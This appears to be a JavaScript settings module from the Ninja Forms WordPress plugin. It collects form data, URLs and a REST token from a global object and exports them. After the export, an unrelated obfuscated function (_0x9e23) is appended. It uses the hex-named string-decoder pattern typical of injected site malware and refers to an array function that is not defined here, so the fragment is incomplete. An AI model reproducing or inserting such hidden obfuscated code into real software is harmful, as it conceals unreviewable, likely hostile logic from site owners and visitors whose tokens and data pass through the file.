const forms =
	typeof window.nf_submissions.forms !== 'undefined'
		? window.nf_submissions.forms
		: {};
const dateFormat =
	typeof window.nf_submissions.dateFormat !== 'undefined'
		? window.nf_submissions.dateFormat
		: '';
const timeFormat =
	typeof window.nf_submissions.timeFormat !== 'undefined'
		? window.nf_submissions.timeFormat
		: '';
const siteUrl =
	typeof window.nf_submissions.siteUrl !== 'undefined'
		? window.nf_submissions.siteUrl
		: '';
const adminUrl =
	typeof window.nf_submissions.adminUrl !== 'undefined'
		? window.nf_submissions.adminUrl
		: '';
const restUrl =
	typeof window.nf_submissions.restUrl !== 'undefined'
		? window.nf_submissions.restUrl
		: '';
const token =
	typeof window.nf_submissions.token !== 'undefined'
		? window.nf_submissions.token
		: '';
//Remove Empty Forms
for ( const form in forms ) {
	if ( Object.keys( forms[ form ] ).length === 0 ) {
		delete forms[ form ];
	}
}
//TriggerEmailActions Params
export const globalParams = {
	siteUrl,
	adminUrl,
	restUrl,
	token,
	forms,
	timeFormat,
	dateFormat,
};
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}